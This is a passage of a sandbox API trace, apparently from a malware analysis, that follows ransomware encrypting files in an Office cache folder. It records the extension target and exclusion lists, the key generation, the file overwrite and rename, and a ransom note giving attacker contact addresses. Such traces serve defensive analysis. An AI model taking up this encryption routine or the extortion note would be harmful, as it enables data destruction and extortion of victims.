	[0076.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".fdb") returned 0x0
	[0076.582] lstrlenW (lpString=".bak") returned 4
	[0076.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".bak") returned 0x0
	[0076.582] lstrlenW (lpString=".myd") returned 4
	[0076.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".myd") returned 0x0
	[0076.582] lstrlenW (lpString=".DTXS") returned 5
	[0076.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".DTXS") returned 0x0
	[0076.582] lstrlenW (lpString=".ckp") returned 4
	[0076.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".ckp") returned 0x0
	[0076.582] lstrlenW (lpString=".dbt") returned 4
	[0076.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".dbt") returned 0x0
	[0076.582] lstrlenW (lpString=".db") returned 3
	[0076.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".db") returned 0x0
	[0076.582] lstrlenW (lpString=".TXT") returned 4
	[0076.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".TXT") returned 0x0
	[0076.582] lstrlenW (lpString=".MDF") returned 4
	[0076.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".MDF") returned 0x0
	[0076.583] lstrlenW (lpString=".bdb") returned 4
	[0076.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".bdb") returned 0x0
	[0076.583] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7108
	[0076.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.583] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a00d0) returned 1
	[0076.584] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.584] CryptReleaseContext (hProv=0x3a00d0, dwFlags=0x0) returned 1
	[0076.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.584] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19657433477) returned 1
	[0076.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x978b41b0, dwHighDateTime=0x1d60e1e)) 
	[0076.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a35d8
	[0076.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a35d8 | out: hHeap=0x300000) returned 1
	[0076.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7c30
	[0076.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0076.585] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0076.585] GetLastError () returned 0x0
	[0076.585] GetLastError () returned 0x0
	[0076.585] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0076.585] GetLastError () returned 0x0
	[0076.586] GetLastError () returned 0x0
	[0076.586] ReadFile (in: hFile=0x130, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.589] WriteFile (in: hFile=0x130, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0076.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.594] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.596] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.596] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.597] CloseHandle (hObject=0x130) returned 1
	[0076.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0076.597] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.~~~~")) returned 1
	[0076.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0076.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.598] GetLastError () returned 0x0
	[0076.598] RtlWakeConditionVariable () returned 0x365f70
	[0076.598] GetCurrentThreadId () returned 0x9cc
	[0076.598] GetCurrentThreadId () returned 0x9cc
	[0076.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b41e8
	[0076.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac250 | out: hHeap=0x300000) returned 1
	[0076.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3610 | out: hHeap=0x300000) returned 1
	[0076.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0076.598] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0076.598] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0076.598] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0076.599] CloseHandle (hObject=0x130) returned 1
	[0076.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b42b0 | out: hHeap=0x300000) returned 1
	[0076.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b41e8 | out: hHeap=0x300000) returned 1
	[0076.600] RtlWakeConditionVariable () returned 0x365f70
	[0076.600] GetCurrentThreadId () returned 0x9cc
	[0076.600] GetCurrentThreadId () returned 0x9cc
	[0076.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0076.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4b10 | out: hHeap=0x300000) returned 1
	[0076.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3648 | out: hHeap=0x300000) returned 1
	[0076.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0076.600] lstrlenW (lpString=".scr") returned 4
	[0076.600] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".scr") returned 0x0
	[0076.600] lstrlenW (lpString=".cmd") returned 4
	[0076.600] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".cmd") returned 0x0
	[0076.600] lstrlenW (lpString=".dll") returned 4
	[0076.600] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".dll") returned 0x0
	[0076.600] lstrlenW (lpString=".bat") returned 4
	[0076.600] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".bat") returned 0x0
	[0076.600] lstrlenW (lpString=".cpl") returned 4
	[0076.600] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".cpl") returned 0x0
	[0076.600] lstrlenW (lpString=".sys") returned 4
	[0076.600] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".sys") returned 0x0
	[0076.600] lstrlenW (lpString=".msc") returned 4
	[0076.600] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".msc") returned 0x0
	[0076.600] lstrlenW (lpString=".com") returned 4
	[0076.600] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".com") returned 0x0
	[0076.600] lstrlenW (lpString=".lnk") returned 4
	[0076.601] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".lnk") returned 0x0
	[0076.601] lstrlenW (lpString=".msp") returned 4
	[0076.601] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".msp") returned 0x0
	[0076.601] lstrlenW (lpString=".pif") returned 4
	[0076.601] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".pif") returned 0x0
	[0076.601] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.601] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0076.601] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0076.601] lstrlenW (lpString=".sqb") returned 4
	[0076.601] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".sqb") returned 0x0
	[0076.601] lstrlenW (lpString=".ost") returned 4
	[0076.601] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".ost") returned 0x0
	[0076.601] lstrlenW (lpString=".txt") returned 4
	[0076.601] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".txt") returned 0x0
	[0076.601] lstrlenW (lpString=".mdt") returned 4
	[0076.601] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".mdt") returned 0x0
	[0076.601] lstrlenW (lpString=".BDB") returned 4
	[0076.601] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".BDB") returned 0x0
	[0076.601] lstrlenW (lpString=".eql") returned 4
	[0076.601] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".eql") returned 0x0
	[0076.601] lstrlenW (lpString=".DBF") returned 4
	[0076.601] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".DBF") returned 0x0
	[0076.601] lstrlenW (lpString=".EQL") returned 4
	[0076.601] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".EQL") returned 0x0
	[0076.601] lstrlenW (lpString=".FDB") returned 4
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".FDB") returned 0x0
	[0076.602] lstrlenW (lpString=".EDB") returned 4
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".EDB") returned 0x0
	[0076.602] lstrlenW (lpString=".DACPAC") returned 7
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".DACPAC") returned 0x0
	[0076.602] lstrlenW (lpString=".VHD") returned 4
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".VHD") returned 0x0
	[0076.602] lstrlenW (lpString=".DBV") returned 4
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".DBV") returned 0x0
	[0076.602] lstrlenW (lpString=".dacpac") returned 7
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".dacpac") returned 0x0
	[0076.602] lstrlenW (lpString=".sdf") returned 4
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".sdf") returned 0x0
	[0076.602] lstrlenW (lpString=".accdb") returned 6
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".accdb") returned 0x0
	[0076.602] lstrlenW (lpString=".DBX") returned 4
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".DBX") returned 0x0
	[0076.602] lstrlenW (lpString=".MDT") returned 4
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".MDT") returned 0x0
	[0076.602] lstrlenW (lpString=".SQB") returned 4
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".SQB") returned 0x0
	[0076.602] lstrlenW (lpString=".vhd") returned 4
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".vhd") returned 0x0
	[0076.602] lstrlenW (lpString=".bac") returned 4
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".bac") returned 0x0
	[0076.602] lstrlenW (lpString=".mdf") returned 4
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".mdf") returned 0x0
	[0076.602] lstrlenW (lpString=".BAK") returned 4
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".BAK") returned 0x0
	[0076.602] lstrlenW (lpString=".BAC") returned 4
	[0076.602] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".BAC") returned 0x0
	[0076.602] lstrlenW (lpString=".dbs") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".dbs") returned 0x0
	[0076.603] lstrlenW (lpString=".vhdx") returned 5
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".vhdx") returned 0x0
	[0076.603] lstrlenW (lpString=".NDF") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".NDF") returned 0x0
	[0076.603] lstrlenW (lpString=".dat") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".dat") returned 0x0
	[0076.603] lstrlenW (lpString=".DBS") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".DBS") returned 0x0
	[0076.603] lstrlenW (lpString=".CKP") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".CKP") returned 0x0
	[0076.603] lstrlenW (lpString=".edb") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".edb") returned 0x0
	[0076.603] lstrlenW (lpString=".PST") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".PST") returned 0x0
	[0076.603] lstrlenW (lpString=".dbf") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".dbf") returned 0x0
	[0076.603] lstrlenW (lpString=".SQL") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".SQL") returned 0x0
	[0076.603] lstrlenW (lpString=".pst") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".pst") returned 0x0
	[0076.603] lstrlenW (lpString=".dbv") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".dbv") returned 0x0
	[0076.603] lstrlenW (lpString=".SDF") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".SDF") returned 0x0
	[0076.603] lstrlenW (lpString=".dtxs") returned 5
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".dtxs") returned 0x0
	[0076.603] lstrlenW (lpString=".db3") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".db3") returned 0x0
	[0076.603] lstrlenW (lpString=".OST") returned 4
	[0076.603] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".OST") returned 0x0
	[0076.604] lstrlenW (lpString=".dbx") returned 4
	[0076.604] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".dbx") returned 0x0
	[0076.604] lstrlenW (lpString=".DB3") returned 4
	[0076.604] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".DB3") returned 0x0
	[0076.604] lstrlenW (lpString=".DAT") returned 4
	[0076.604] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".DAT") returned 0x0
	[0076.604] lstrlenW (lpString=".VHDX") returned 5
	[0076.604] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".VHDX") returned 0x0
	[0076.604] lstrlenW (lpString=".ndf") returned 4
	[0076.604] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".ndf") returned 0x0
	[0076.604] lstrlenW (lpString=".DB") returned 3
	[0076.604] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".DB") returned 0x0
	[0076.604] lstrlenW (lpString=".sql") returned 4
	[0076.604] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".sql") returned 0x0
	[0076.604] lstrlenW (lpString=".MYD") returned 4
	[0076.604] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".MYD") returned 0x0
	[0076.604] lstrlenW (lpString=".DBT") returned 4
	[0076.604] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".DBT") returned 0x0
	[0076.604] lstrlenW (lpString=".ACCDB") returned 6
	[0076.604] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".ACCDB") returned 0x0
	[0076.604] lstrlenW (lpString=".fdb") returned 4
	[0076.604] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".fdb") returned 0x0
	[0076.604] lstrlenW (lpString=".bak") returned 4
	[0076.604] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".bak") returned 0x0
	[0076.604] lstrlenW (lpString=".myd") returned 4
	[0076.605] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".myd") returned 0x0
	[0076.605] lstrlenW (lpString=".DTXS") returned 5
	[0076.605] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".DTXS") returned 0x0
	[0076.605] lstrlenW (lpString=".ckp") returned 4
	[0076.605] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".ckp") returned 0x0
	[0076.605] lstrlenW (lpString=".dbt") returned 4
